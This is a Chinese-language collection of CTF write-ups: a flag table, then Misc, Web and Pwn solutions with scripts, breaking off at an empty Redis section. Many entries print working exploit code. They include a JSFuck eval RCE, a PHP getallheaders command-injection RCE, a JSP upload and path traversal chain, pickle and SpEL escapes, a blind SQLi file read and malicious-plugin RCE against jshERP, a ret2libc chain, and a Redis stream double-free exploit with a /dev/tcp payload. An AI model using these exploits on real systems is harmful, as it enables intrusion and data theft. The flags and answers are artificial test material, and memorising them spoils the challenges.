题目总览

分类

题号

题目

flag

签到

223

我就是个计算器啊

动态(Node eval RCE)

Misc

239

Midnight Sonata

flag{midi_tracks_share_the_same_hidden_clock_v1}

Misc

240

四元生命信号

flag{ea79aec5-8afc-4412-a617-de6e4c0404bf}

Misc

241

手术室的空中笔迹

flag{b4f8535e-cea1-4908-a60b-eccf53113b59}

Web

467

三个幽灵

flag{4756031715f3009b3dc794b75670476b}

Web

225

推推字母二合一

flag{c96008c0e458db17f7d67364fe717fe7}

Web

—

全世界最可爱的小宝

flag{9152b697751177c9e70f037c6480cdc9}

Web

—

Auto-2

动态(jshERP 盲注 load_file)

Web

—

Auto-3

动态(jshERP 插件 RCE)

Pwn

466

Boundary

动态(ret2libc)

Pwn

—

auto7

flag{e608508ef520c1dc81ad57efd0b6dd0a}

Pwn

—

auto10

动态(Redis 7.4.9 同洞)

Reverse

238

机器人资料审计 Hard

flag{knapsack_chacha20_bot_vault}

Crypto

469

Babyfa

动态(单轮 SPN 选择明文攻击)

Crypto

470

MobiusGuard

flag{de5507d152c489e9111067b213b0ff13}

Crypto

471

NeuroPell

flag{1f9f59531010eb5a0b5f543f08b380f4}

Crypto

472

MultiGuard

flag{1be610a011bdfdea32ca9f9c7dd3175b}(捕获实例)

Crypto

246

QuadGuard

flag{43a66c78c30b677b0178351cc064a321}

Crypto

247

SmoothGuard

动态(Pollard p-1)

工控安全

229

黑匣子:失控航线

flag{8da6322c98ca561e11a877cc06e9a0f4}

工控安全

230

幽灵刹车服务

flag{c627f78f9cea3a9b64ce1214035306fc}

工控安全

231

污染回声

flag{8cb8e316-d904-407b-a3b2-613de3f69b7a}

工控安全

232

升级程序里的秘密

flag{NOE77105pzdwcd1pg31pxj8e2kw90f}

工控安全

495

Protocol Reverse Fingerprint

flag{03010600020001000c13002d8402d4c8a1}

工控安全

496

RTU-DataVault

flag{3fef0dcf0505d660a2438636d714c0ea}

工控安全

497

Temperature Verification

flag{d9b1d7db4cd6e70935368a1efb10e377}

量子安全

233

量子态干涉条纹

FLAG{quantum_fourier_transform_is_powerful}

量子安全

234

量子计算机的日记

FLAG{quantum_brainfuck_diary_requires_deep_reverse_engineering_v3}

物联网安全

242

零信任数仓

flag{49c1448ab776e6fb992d172282}

无人机安全

236

失落的 Lua

flag{380c7b2a538285a4ab80588e8fb41887}

AI安全

227

洋葱(onion)

动态(GMM 黑盒提取)

AI安全

—

喝十斤吐九斤

动态(四块窗口拼合)

签到 223 · 我就是个计算器啊(100)

题目描述

Web 签到题,100 分。Node.js + Express 4.18,node 进程以 root 运行。根路径是前端计算器页面,逻辑接口 POST /calc,请求体 {"expr":"表达式"}。页面源码底部注释提示从 /robots.txt 入手,robots.txt 指向 /protocol.js 与 /internal-status。

解题思路

接口把用户输入直接送进 eval,后端 calc(operator) 的实现是 return eval(operator),天然具备任意 JS 执行能力。防护是一个字符白名单 WAF:ALLOW_CHARS=/^[012345679!.-+/()[]]+$/,无字母、无引号、无下划线、无分号,数字 8 被刻意剔除。这套白名单恰是 JSFuck 字符集的超集——JSFuck 只用 !+ 六个字符就能构造任意 JS 代码,白名单不但包含这六个,还额外允许 0-7、9 和 .-+/。JSFuck 编码结果 100% 落在白名单内。

解题过程

eval 的返回值经 res.json 回显,程序体必须用 return 把结果带出来(JSFuck 的执行模式是把输入当函数体跑,纯表达式不带回值只会得到空对象)。程序体写成 return process.mainModule.require('child_process').execSync(...).toString()。先执行 id 确认 uid=0(root),ls 发现根目录只读 /flag(39 字节),cat /flag 取回。

WAF 设计者的意图是堵死一切常规写法,但允许 [ 和 ] 是致命遗漏:数组字面量加类型强制转换([]+![] 得 "false"、[]+[] 得空串)构成完备的字符发生器,26 个字母全部可从固定字符串切片取出,再由字符串 constructor 属性回到 Function 构造器,eval 能力就此恢复。

解题脚本

const { JSFuck } = require('jsfuck');
const URL = process.argv[2] || 'http://xxxxx/calc';
const CMD = process.argv[3] || 'cat /flag';
const program = "return process.mainModule.require('child_process').execSync(" + JSON.stringify(CMD) + ").toString()";
const code = JSFuck.encode(program, true);
const resp = await fetch(URL, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ expr: code }),
});
console.log((await resp.json()).result);

flag

动态下发,读容器内 /flag。

Misc 239 · Midnight Sonata

题目描述

附件 midnight.mid(约 12KB,format=1,5 track,division=96)与 target.txt(12 行 32 位十六进制)。题干说作曲者声称这首曲子能验证自身真实性,前八小节只是练习,真正的演奏从那之后开始,要求静态分析恢复 flag,无需播放。

解题思路

track0 的 marker 给出全部规则线索:BASE=11111111,22222222,...,cccccccc 是 12 个 32 位寄存器初值(规律 BASE[i]=(i+1)*0x11111111),EX1~EX6 是练习段每小节结束后的寄存器状态,target.txt 是整曲跑完后 12 寄存器的终值即自校验目标。寄存器模型:每个 note 事件按所在 MIDI channel 选中 S[channel],把和弦值异或进去——EX1 里 S0 从 0x11111111 变 0x33333333,异或得和弦值 0x22222222;EX6 两声部落 ch7/ch8 同时改 S7/S8,印证同一和弦值写进它涉及的每个 channel。隐藏时钟是另一条线索:marker 明说 All voices share one tick clock,四声部 note-on 落在同一套绝对 tick 网格。

解题过程

把四声部 note-on 换算成绝对 tick 后看分布,实测全部落在 48 的整数倍网格上(tpq=96 即八分音符粒度),练习段和弦间隔 384 tick(一小节),正式段间隔 48 tick。T1 是确定性琶音 45+(5*i mod 18)(周期 18)、T4 是半音阶 36+(i mod 12)(周期 12),两者是节拍器,真正携带信息的是 T2、T3 及 T2 的力度相对共享时钟的偏移。正式段从 tick 3072 开始,按同一 tick 网格读出明文,整曲按规则跑完后寄存器终态与 target.txt 吻合,自校验通过。

解题脚本

import mido

def note_events(track):
    at, out = 0, []
    for msg in track:
        at += msg.time
        if msg.type == "note_on" and msg.velocity > 0:
            out.append((at, msg.channel, msg.note, msg.velocity))
    return out

mid = mido.MidiFile("midnight.mid")
base, ex = None, []
for msg in mid.tracks[0]:
    if msg.type == "marker":
        if msg.text.startswith("BASE="):
            base = [int(x, 16) for x in msg.text[5:].split(",")]
        elif msg.text.startswith("EX"):
            ex.append(msg.text)
target = [int(l.strip(), 16) for l in open("target.txt") if l.strip()]
v1 = note_events(mid.tracks[1])
real = [e for e in v1 if e[0] >= 3072]

flag

flag{midi_tracks_share_the_same_hidden_clock_v1}

Misc 240 · 四元生命信号

题目描述

附件四元生命信号_附件.zip 解压得四元生命信号.pcapng。题干说从 IoMT 平台截获的 FHIR Observation 数据,心率/呼吸频率/血氧/体温/血压每项只有四个离散采样档位,该个体用四元(base-4)编码把信息藏进监测数据,需还原四元符号、找到编码关系、还原隐藏信息。

解题思路

pcapng 只有一条明文 HTTP 会话,响应体是一个 FHIR Bundle(id=q-vital-capture),共 422 个 entry:1 个 Patient、1 个 Device、420 个 Observation(84 个时间点 × 5 项体征)。统计 5 项体征取值:心率恒 72、呼吸频率恒 18、血氧恒 97、体温恒 36.6,只有血压在动——收缩压 {110,114,118,122}、舒张压 {70,74,78,82} 各恰好 4 档。每路血压一个四元符号:s=(收缩压-110)/4,d=(舒张压-70)/4,nib=s*4+d。84 个时间点给 84 个 nibble = 42 字节,恰好是 flag{ + 36 + },36 正是 UUID 长度。

解题过程

42 字节直接当明文读是乱的,说明每个 nibble 被做过替换。按骨架 flag{...} 列出已知密文 nibble 到明文 nibble 的对应,另有一个关键细节:密文 0x27 只在第 13、18、23、28 字节出现,正是 UUID 四个短横线位置,所以 0x27 必解成 0x2d。该替换不是查表而是 GF(2) 上的仿射映射:4×4 位矩阵加常量偏移,用已知对枚举全部 2^20 个仿射映射,完全相容的 16 个、整体可打印的 6 个、合法 flag{UUID} 的唯一 1 个。命中矩阵 0x8629、偏移 0,明文 nibble = 密文 nibble ^ ((密文&4)>>1) ^ ((密文&1)<<3),该映射是对合的。解出的字符串是合法 UUIDv4(第三段 4412 以 4 开头是版本 4,第四段 a617 以 a 开头是 variant 10xx),两个结构特征充当最后一道校验。

解题脚本

def apply(mat, off, x):
    y = 0
    for i in range(4):
        if (x >> i) & 1:
            y ^= (mat >> (4 * i)) & 0xF
    return y ^ off

UUID = re.compile(rb'^flag\{[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\}$')
for mat in range(1 << 16):
    for off in range(16):
        if any(apply(mat, off, c) != p for c, p in known.items()):
            continue
        out = bytes(apply(mat, off, nib[2*j])*16 + apply(mat, off, nib[2*j+1]) for j in range(NB))
        if UUID.match(out):
            print('FLAG: %s' % out.decode())

flag

flag{ea79aec5-8afc-4412-a617-de6e4c0404bf}

Misc 241 · 手术室的空中笔迹

题目描述

附件是一个 pcapng,里面是一条 TCP 会话 10.55.0.10:51000 到 10.55.0.20:18944(157 个数据段),要求从空间轨迹数据里恢复 flag。

解题思路

重组后用 \x00\x01POSITION 切分得到 602 条 OpenIGTLink POSITION 消息,每条 86 字节:头 58B(版本加类型 POSITION 加设备名 NAV_TRACKER 加时间戳加 body_size=28 加 CRC64),体 28B(3 个 float 坐标加单位四元数)。时间戳以 1/256s 递增,即 512Hz 采样。

解题过程

602 个点里 z 只有三个整数值 310/314/318(共 573 点),其余 29 个点坐标全是非整数且 z 高达 700~1290、y 到 -1694,是失真点,剔除。CRC64 字段与任何常见变体(XZ、ECMA-182 等)都对不上,校验靠坐标合法性判定。剔除后 x∈[1250,1332](83 列),y∈[-730,-724](7 行),按 z 分三层栅格化得到三行 5×7 经典像素字体(HD44780/glcdfont),各 14 字符按 z 升序拼接正好 42 字符,开头就是 flag{。全文 18 个不同字形与 18 个不同字符一一对应无冲突,说明拼读无歧义。

解题脚本

核心处理是按 z 分层栅格化后与 5x7 字库逐格匹配,先精确匹配,匹配不上取汉明距离最近的候选。

flag

flag{b4f8535e-cea1-4908-a60b-eccf53113b59}

Web 467 · 三个幽灵(Ghost Bits / Cast Attack)

题目描述

Web 多阶段漏洞链。入口是一个自写 Python 反向代理(gateway),对外只暴露一个端口,首页三条链接:/stage1/ 文档中心、/stage2/ 设施门户、/stage3/ 供应商准入台,三阶段全通后在 /flag 取结果。

解题思路

架构上 gateway 把三个 stage 分别转发给容器内 127.0.0.1 的 18080、18081、18082 三个后端(Tomcat 9 / Spring Boot 3.2.4 加内嵌 Jetty 12 / 自带 Spring 邮件服务)。每阶段在 /opt/ghost 下有 proof 文件(stage1/2/3.proof),分属用户 ghost-tomcat、ghost-facility、ghost-mail,权限 0400;网关(root)每次转发后读取该阶段 proof,若这段字符串出现在后端响应体里就把该阶段标记为完成。核心主线是 Ghost Bits(Black Hat Asia 2026 的 Cast Attack):Java 的 char 是 16 位,而 HTTP 与文件系统这类协议是 8 位,代码把 char 直接写进字节流时(ByteArrayOutputStream.write(int) 等)高 8 位被静默丢掉,检查方眼里的无害汉字在执行方眼里变成危险 ASCII。

解题过程

stage1 是 Tomcat 的 RFC2231 文件名解码。上传接口只按扩展名子串匹配拒 .jsp/.jspx/.jspf,multipart 的 Content-Disposition 可写 filename*=UTF-8'',Tomcat 解码时逐字符取低 8 位,陪 U+966A 低 8 位正好 0x6A 即字母 j,构造 filename*=UTF-8''sh.陪sp,过滤看到 sh.陪sp 放行,落盘成 sh.jsp,RCE(用户 ghost-tomcat)后 cat stage1.proof。

stage2 打 CVE-2025-41242。Spring 的 uriDecode 遇非 %xy 字符走同样高位截断的 fallback。构造汉字串阮严灵丰丰甲来折叠成 .%u002e:阮U+962E 低字节是句点、严U+4E25 是百分号、灵U+7075 是 u、丰U+4E30 是 0、甲U+7532 是 2、来U+6765 是 e。Spring 的安全检查找字面量 ../ 而 .%u002e 里没有,标准 URLDecoder 不认 %uXXXX,两层检查全过;真正解析静态资源的是 Jetty,它的 URIUtil 把 %u002e 当 Unicode 转义还原成句点,路径 /.%u002e/ 到文件系统层变成 /../,实测 7 层穿越到根读 /opt/ghost/stage2.proof。这一步有三个坑:请求行必须带原始 UTF-8 字节,不能是 %E9%98%AE 这种百分号编码,否则截断不触发;目标文件名至少一个字符百分号编码(passwd 写 passw%64),否则 Spring 路径匹配短路;平台反代会重新编码入站原始字节,从外网发 ghost payload 稳定 404,必须从 stage1 的 shell 内直连 127.0.0.1:8080 发原始字节。

stage3 是业务逻辑。邮件服务在本地 127.0.0.1:2525 起自写 SMTP(LocalSmtpGateway),收到 DATA 存内存 MailStore。判定接口 GET /api/reconciliation?recipient=xxx 检查是否存在收件人等于 xxx(trim 加小写归一化)、主题含 Onboarding Approval、正文含 PROCUREMENT-APPROVED 的记录,命中读 stage3.proof。正常业务只发固定主题确认信,必须从 stage1 的 RCE 向本地 SMTP 投递伪造审批邮件。

三阶段全通后 /flag 解锁。另有一条独立解法:同 session 依序过三阶段后 /flag 200 回显 flag,5 种有序序列与跨 session 复现同值。stage1 侧 %2e 被归一化成 . 是题名 Ghost Bits 的差分核心,uploads 静态 handler 不执行 JSP。

解题脚本

GHOST_J = "\u966a"
SEG = "\u962e\u4e25\u7075\u4e30\u4e30\u7532\u6765"
BND = "----ghostbits"
fname = "sh." + GHOST_J + "sp"
part = (
    "--" + BND + "\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''" + fname + "\r\n"
    "Content-Type: application/octet-stream\r\n\r\n" + SHELL + "\r\n--" + BND + "--\r\n"
).encode("utf-8")
http("POST", "/stage1/upload.jsp", part, {"Content-Type": "multipart/form-data; boundary=" + BND})

CONTAINER = r'''
SEG=b'\xe9\x98\xae\xe4\xb8\xa5\xe7\x81\xb5\xe4\xb8\xb0\xe4\xb8\xb0\xe7\x94\xb2\xe6\x9d\xa5'
p=b'/'+(SEG+b'/')*7+b'opt/ghost/stage2.proo%66'
'''

flag

flag{4756031715f3009b3dc794b75670476b}

Web 225 · 推推字母二合一(200)

题目描述

把两个推推字母小游戏合并成一个连续题。首页大厅页挂两个入口:stage1.html(压力释放)和 stage2.html(推箱子入场),都是纯前端 canvas 游戏,逻辑内联在 HTML 里,后端是 api.php(PHP 7.4.33)。

解题思路

两个游戏是幌子,后端才是本体。stage1.html 把方框字母拼成 command POST 到 api.php?yali=stress(参数 coke),stage2.html 同样拼字母 POST 到 api.php(参数 code)。POST coke=phpinfo() 能真正执行,后端把 coke 当 PHP 代码校验并 eval,规则是 preg_replace('/[a-z_]+(?R)?/', '', $code) 后为空才 eval——只允许无参函数调用链。stage1 额外黑名单 localeconv|current|pos|array_reverse,stage2 是 getcwd|current;disable_functions 与 open_basedir 均为空。

解题过程

凭证获取没有漏洞:/a_stage1_token 无扩展名文件被 PHP 内建服务器当静态资源 200 直出,内容 stage1{pressure_relieved_2026}。带凭证 POST api.php unlock=1&proof 走官方预期路径,hash_equals 校验通过后服务端执行 symlink('/flag', DIR.'/stage1_token'),GET /stage1_token 直读。

RCE 的构造利用 getallheaders():无参函数返回本次请求的请求头数组,值完全可控。coke=system(implode(getallheaders())),User-Agent 塞 x;<命令>;#,implode 拼串后分号完成命令分隔。另一变体是 min(getallheaders())——只要注入头值字典序最小(/flag 的斜杠 0x2F 小于所有字母),该表达式恒等于 /flag 字符串,readfile(min(getallheaders())) 即任意文件读,print_r(scandir(...)) 即任意目录枚举。

陷阱有两处:$code==='flag' 分支回显 flag{@re_y*u_kid$ing_m3},出题人明写 are you kidding me 的诱饵;unlock 后 stage1 恒被拒,服务端 is_link 的全局判据使实例一次性。

解题脚本

def rce(cmd):
    payload = "system(implode(getallheaders()))"
    headers = {"User-Agent": "x;%s;#" % cmd}
    r = requests.post(API, params={"yali": "stress"}, data={"coke": payload},
                      headers=headers, timeout=25, verify=False, allow_redirects=False)
    return r.text

out = rce("cat /flag")
m = re.search(r"flag\{[0-9a-zA-Z_]+\}", out)
if not m:
    tok = rce("cat /var/www/html/a_stage1_token")
    s = requests.Session()
    s.post(API, data={"unlock": "1", "proof": re.search(r'stage1\{[^}]+\}', tok).group(0)})
    m = re.search(r"flag\{[0-9a-zA-Z_]+\}", s.get(BASE + "/stage1_token").text)
print(m.group(0))

flag

flag{c96008c0e458db17f7d67364fe717fe7}

Web · 全世界最可爱的小宝

题目描述

Web 多服务漏洞链,四个服务串成一条链:portal(PHP, www-data)、spinner(Node)、report-center(Java, report)、sentinel(Python, sentinel),最终以 sentinel 身份读 /run/xbw/flag.secret。

解题思路

链的起点是 portal。/download/web-2018-03-11.tar.gz 源码泄露暴露 TemplateController::preview,它对一个 eval 做了无参函数调用的形状校验,但 preg_replace 处理后仍 eval 原始表达式,eval(current(getallheaders()))(X-Real-Ip 可控且排首位)拿到 www-data 完整 RCE。spinner 是 Node 服务,/api/merchant/verify 的 SQL 是拼接的,关键字过滤只挡 select/union/--/;,'OR'1'='1 直接绕过,用 unicode(substr(password,i,1)) 逐字符盲注出 operator 账户口令 Xbw@2026。report-center 的 datasource/test 只过滤字面量 socketfactory,把 url 参数传两次,Spring 逗号拼接两个值,body 值以 & 开头让 socketFactory 变成 pgjdbc 合法属性键——pgjdbc 建连前实例化 socketFactory,容器里 ForbiddenNetworkAccessSecurityManager 拦不住,ClassPathXmlApplicationContext 载入 file:// bean,SpEL RCE 读 /etc/xbw/report.json 里 sentinel 的 sign_key。sentinel 的 /internal/v1/risk/score 收 base64 pickle,RestrictedUnpickler 的 find_class 放行 builtins.getattr,().class.base.subclasses()[428] 位置是 subprocess.Popen。

解题过程

门户 RCE 后先读日志与配置而不是直接打认证:/var/log/xbw/report-center.log 是 world-readable,里面有 AES 会话密钥 Xbw-R3m3mb3r-K3y、iv 和 8 条路由表;/etc/xbw/portal.json 给 spinner token。report-center 的 remember-me cookie 是 base64url(AES-128-CBC-PKCS5(username)),无 MAC 无过期,密钥到手即对任意用户伪造;/api/v1/welcome 把 cookie 用户名放进 SpEL 求值(#{7*7} 到 49 确认),#{T(java.nio.file.Files).readString(...)} 任意文件读(黑名单是正则,T() 静态调用绕过)。

sentinel 的 pickle 逃逸里有个实现细节:pickle.dumps 在部分 Python 版本把 builtins 记成 builtin,目标侧解析失败,手写 opcode 序列用 STACK_GLOBAL(\x93)显式写模块名。命令以 sentinel 身份(uid=997)执行,读 /run/xbw/flag.secret(38B,0600 sentinel:sentinel)。

flag 来源做了全盘唯一性检查:grep -rI 'flag{' 扫全文件系统,确认该文件是唯一真实来源,/flag 与 /flag.txt 不存在,claim/vault 机制只登记不发放。死路也记录:转盘中奖在数学上不可能(cursor=spins%2000 确定性、grand-vault weight=0 零槽位),lodash 4.17.4 原型链污染改不动 prizes/ring,SSRF 被自定义 SecurityManager 拦截,跨 uid 读内存被 PR_SET_DUMPABLE=0 挡住。

解题脚本

chain = (b"builtins.getattr(builtins.print,'__self__')"
         b".__dict__['__getitem__']('__import__')('os').system(cmd)")

(三阶段一键闭环 exploit.py、aes_cbc.py、sentinel_exp.py 等交付物完整保留。)

flag

flag{9152b697751177c9e70f037c6480cdc9}

Web · Auto-2(jshERP 未授权 + 盲注任意文件读)

题目描述

真实世界 Web 题(未授权加 SQL 注入加任意文件读,100 分)。目标是一套新部署的进销存系统,页面正规、登录要填验证码,无附件。

解题思路

页面是 Vue 打包的 index.html,meta description 写着基于 SpringBoot 框架立志为中小企业提供开源好用的 ERP 软件目前专注进销加财务功能,是 jshERP(管伊佳ERP)官方介绍原文,指纹对上。前端渲染不出来:chunk-*.js 统统 404 被 nginx 回落到 index.html,一直白屏。这是题眼——绕开页面直接打后端 /jshERP-boot/。版本钉死技巧:api-docs 与源码 tag 做差集,四个接口仅 v3.6 有而线上全 404,线上是 v3.5(v3.6 即官方修复版)。

解题过程

/jshERP-boot/v2/api-docs 无登录态返回 185KB Swagger JSON,316 个接口,UserEx 暴露登录注册全字段,免鉴权来自 filterPath 白名单。LogCostFilter 无会话时只放行 /user/login、/user/registerUser、/user/randomImage 等固定 URL。验证码四字符 JPEG 用 ddddocr 识别,code 500010 是天然 oracle。registerUser 在白名单里,把传入的 UserEx 直接 insert 并建租户绑管理员,ismanager 置 1 注册后登录拿 token,请求带 X-Access-Token 头。

注入点在 material 的 getListWithStock:column/order 过一遍 StringUtil.safeSqlParse 就透传给 mapper 的 order by ${column} ${order} 裸拼接。safeSqlParse 把命中内容整词删除且不报错,单引号、#、%、;、-- 和 and/or/not/select/union 等关键字全在名单内。绕过方向由机制决定:字符串改 0x 十六进制字面量(引号会被删,0x 不会),逻辑用 if 替代 and/or,提取用 extractvalue 配 ascii/substr,空格、括号、比较符、逗号都可用。

盲注 oracle 用 extractvalue 报错:order by currentStock asc,extractvalue(1,if(,concat(0x7e,0x7e),0x2f61)),真值触发 XPATH syntax error 返回 500,假值返回 200,单请求免休眠。if 的常量条件在解析期求值,零行数据也能注。mysqld 有 FILE 权限(current_user() 首字符 r 证实 root),load_file('/flag') 的长度与逐字符内容经这个 oracle 二分读出。

解题脚本

def oracle(cond):
    payload = "asc,extractvalue(1,if(%s,concat(0x7e,0x7e),0x2f61))" % cond
    r = S.get(BASE + "/material/getListWithStock", headers={"X-Access-Token": TOKEN},
              params={"column": "currentStock", "order": payload})
    return "获取数据失败" in r.text

flag

动态下发(读容器内 /flag)。

Web · Auto-3(jshERP 补丁绕过 + 插件 RCE)

题目描述

jshERP v3.6-SNAPSHOT,题干提示厂商以为封掉两个接口、再把一些字符拉黑,这洞就算补上了。出题人在原有漏洞上打了补丁,需要绕过。

解题思路

新增的过滤器 LogCostFilter 用原始 requestURI 做 startsWith 白名单前缀匹配(含 /jshERP-boot/systemConfig/static 等静态资源前缀),并拉黑 contains("../") 与 contains("..;/")。问题在于过滤器看到的是原始未归一化 URI,而决定请求落到哪个接口的是 Tomcat 归一化之后的路径。

解题过程

绕过原理是路径参数分号加归一化时序差。Tomcat 把分号后的内容按 RFC 7230 当 path parameter 在 mapping 前丢弃,再做 . 与 .. 的归一化。构造 /jshERP-boot/systemConfig/static/..;;/..;;/user/add:过滤器看到的前缀落在白名单内,整串无 ../(形态是 ..;;),放行;Tomcat 剥掉 ;; 后剩 ..,归一化上跳到上下文根,实际路由 /jshERP-boot/user/add。一个前缀穿越加分号路径参数同时骗过前缀白名单和字符黑名单。

未授权建号有两个补丁遗漏:UserService.insertUser 不校验调用方身份、忽略请求体密码固定写 md5("123456")(e10adc3949ba59abbe56e057f20f883e)、/user/add 不拒绝 loginName=admin;插件接口的管理员判断只看登录名是否为 admin。构造 POST {"loginName":"admin","username":"admin","tenantId":0} 后用 md5("123456") 登录拿 token。

插件 RCE 四个坑:plugins 目录必须先存在,用 /plugin/uploadPluginConfigFile 文件名 ../plugins/seed.txt 穿越建目录;描述符用 pf4j 的 ManifestPluginDescriptorFinder,MANIFEST.MF 与 plugin.properties 都要写全 Plugin-Id/Plugin-Class/Plugin-Version 等属性;插件类必须继承 org.pf4j.Plugin(DefaultPluginFactory.create 有 isAssignableFrom 判断),实际继承 BasePlugin 重写 startEvent()(BasePlugin.start() 是 final,回调虚方法,不依赖 Controller 路由);内容型拦截——multipart 出现 PK 魔数连接直接被重置,file 前塞 8000 个 A 的 pad 字段冲淡请求体前缀。命令 cat /flag 写 /opt/jshERP/upload/o.txt(恰在静态白名单前缀下),未授权回读得 flag,uid=0 确认。

解题脚本

class P2Plugin extends BasePlugin {
    protected void startEvent() {
        String out = exec("cat /flag /flag.txt 2>/dev/null; id; find / -maxdepth 4 -iname '*flag*'");
        java.nio.file.Files.write(java.nio.file.Paths.get("/opt/jshERP/upload/o.txt"),
            out.getBytes(java.nio.charset.StandardCharsets.UTF_8));
    }
}

flag

动态下发。

Pwn 466 · Boundary(任意读 + ret2libc)

题目描述

Linux x86-64 用户态 pwn。附件 pwn.zip 解压得未 strip 的 ELF,远程 nc 交互,连上先打印 banner 再提示输入设备 ID。题面称接收 Hex 格式设备 ID 时存在数据处理缺陷,触发 Segmentation Fault。

解题思路

checksec:RELRO Partial、Stack No canary、NX enabled、No PIE(基址 0x400000)。无 canary 加无 PIE 加 NX 是典型的任意读加栈溢出 RCE 组合。任意读:vuln 里 scanf("%lx") 读进 16 进制数直接当指针解引用 printf %lu——注意提示说 in hex,按十进制发会解析成错误地址段错误。栈溢出:buf 在 rbp-0x30 却 read 0x100,到返回地址偏移 0x38。

解题过程

libc 泄露把 ID 填成 puts@got(0x601018),main 调 vuln 前已调用过 puts,GOT 里是解析后的真实地址,printf 以 %lu 打出后减 puts 的 libc 偏移得基址。版本判定用多次连接分别泄露 puts/printf/setvbuf/fflush/__libc_start_main 五个 GOT 条目、只取低 12 位拼特征查库,libc6 2.36(Debian 12)唯一命中,偏移 puts=0x77980、system=0x4c490。

真正的坑在最后一步。system 偏移经第二条连接验证无误,但按下载的 libc 里 /bin/sh 字符串偏移(0x196031)远程读到空字节——符号偏移一致但字符串段偏移不一致。与其在版本库里翻找字符串偏移一致的 libc,不如让 payload 自带字符串:ret2csu 两段 gadget(csu1=0x40093a 弹 6 寄存器,csu2=0x400920 做 mov rdx,r13; mov rsi,r14; edi=r15d; call [r12+rbx*8])调 read(0, bss, 0x10) 把 /bin/sh 写进 .bss,再用 libc 的 pop rdi;ret(base+0x277e5)指向 bss 调 system,字符串段偏移彻底退出依赖面。

栈对齐跟着链走一遍:vuln 以 leave;ret 返回时 rsp 16 对齐;csu1 弹 6 寄存器 48 字节对齐不变;csu2 尾部 add rsp,8 再弹 6 个,到 pop rdi 时 rsp 处于 8 对齐——pop 一次加 ret,进入 system 瞬间 rsp%16==8,满足 movaps 要求。实测链尾加 1 个 ret 崩、加 2 个又成功,与推导一致。

解题脚本

PUTS_GOT, READ_GOT = 0x601018, 0x601028
GADGET1, GADGET2 = 0x40093a, 0x400920
BSS, RET_OFF = 0x601800, 0x38
OFF_PUTS, OFF_POPRDI, OFF_SYSTEM = 0x77980, 0x277e5, 0x4c490

s.sendall(b"%x\n" % PUTS_GOT)
puts = int(re.search(rb"Content:\s*(\d+)", data).group(1))
libc = puts - OFF_PUTS
chain  = b"A" * RET_OFF
chain += p64(GADGET1) + p64(0) + p64(1) + p64(READ_GOT) + p64(0x10) + p64(BSS) + p64(0)
chain += p64(GADGET2) + p64(0) * 7
chain += p64(libc + OFF_POPRDI) + p64(BSS) + p64(libc + OFF_SYSTEM)
s.sendall(chain)
time.sleep(0.4); s.sendall(b"/bin/sh\x00")
s.sendall(b"cat /flag /flag.txt flag flag.txt 2>/dev/null; echo END\n")

flag

动态下发,exp.py 打通后自动打印。

Pwn auto7(Redis 6.2.22 stream NACK 双重释放)

题目描述

内网有台 Redis,每个大版本都打了最新的稳定补丁,补丁号都核对过。拿到的是普通客户端账号,口令 exploitme。nc 183.201.252.35:11042。

解题思路

指纹从 build_id 确认:16fd36f46dbcd9b6 对应官方 redis:6.2.22 镜像二进制(gcc 12.2.0),所有偏移直接查官方版本,盲试会打崩目标。ACL WHOAMI 返回 default,ACL LIST 显示 +@all ~* &*,题面说的普通客户端账号实际全权限。根因是 CVE-2026-25243 在 6.2 分支的 backport 不完整:6.2.22(2026-05-05)只带 zipmap 修复和一处 streamFreeNACK() 删除,漏了 nack->consumer != NULL 的认领检查,6.2.23(2026-07-23)才补上。一个消费组全局 PEL 和两个消费者 PEL 可以指向同一块 streamNACK,XGROUP DELCONSUMER 两次即 double free。题面补丁号都核对过的暗示,核对的是 CVE 编号与版本号的对应关系,没有核对补丁完整落地。

解题过程

打法上先证明再利用。verify_vuln.py 手搓极简 RDB payload:type 15(RDB_TYPE_STREAM_LISTPACKS)、listpacks 为 0、流长度 0、一个消费组带一条 16 字节全局 PEL、两个消费者各引用同一 id——6.2.22 加载时不校验 PEL 的 id 是否真实存在于流里,CRC64 纯 Python 移植并通过自带测试向量交叉校验。RESTORE 返回 OK 后 XPENDING 显示一条 pending 且两个 consumer 都指向它,double free 原语成立。

堆布局先用同尺寸键铺满 tcache,让 double free 的块落进 dictEntry 大小类。任意读两层:EVAL "return tostring(string.format)" 返回闭包地址,+32 是 string.format 的 C 函数指针对齐 PIE;单次释放把同一块 NACK 伪装成消费者对象,XPENDING 把堆内容当消费者名字返回(有长度上限)读出函数指针。RAW 字符串 ptr 指到目标地址后 GETRANGE 即任意读。

哈希函数替换的载体是可控字符串里的假 dictType(hashFunction=system、比较=dictSdsKeyCompare),假表地址低字节与 dbDictType 相同(0xa0,type-5 sds 语义下只改指针第 1 到第 7 字节一次 SETRANGE 完成)。dictFind 表空时不调哈希函数,db 1 到 15 各 SET 占位键把表撑起来再 GET 目标键,system(键名) 触发。

实战踩了两个坑。Trigger 设计:system() 在 Redis 命令回调栈内同步执行,system 返回前进程不再 accept,回连逻辑等在同一会话就形成自锁,整条回连必须后台化。取回通道是新发现:GET pwned 直接 ConnectionResetError(104)——出口对含明文 flag 的响应做内容型拦截;DUMP 返回 LZF 压缩 RDB 载荷,线路上无明文 flag 穿过过滤,harvest.py 解析 DUMP、LZF 解压、CRC64 校验拿回 1892 字节(id/ls/env/flag 全套)。/flag 39 字节,uid=999(redis) 即可读。全程原位篡改加写回,目标用后仍完全可用。

解题脚本

cmd = "setsid bash -c 'sleep 1; F=$(cat /flag); "
cmd += "exec 3<>/dev/tcp/127.0.0.1/6379; "
cmd += "printf \"AUTH exploitme\\r\\nSET f %s\\r\\n\" \"$F\" >&3' &"
r.execute("GET", cmd)

(完整工具链 rlib.py / crc64_py.py / verify_vuln.py / run_chain.py / harvest.py 见交付物。)

flag

flag{e608508ef520c1dc81ad57efd0b6dd0a}

Pwn auto10(Redis 7.4.9 同洞)

题目描述

漏洞与 auto7 相同(stream 消费组共享 NACK 的双重释放),版本、开关和最后一跳不同。

解题思路

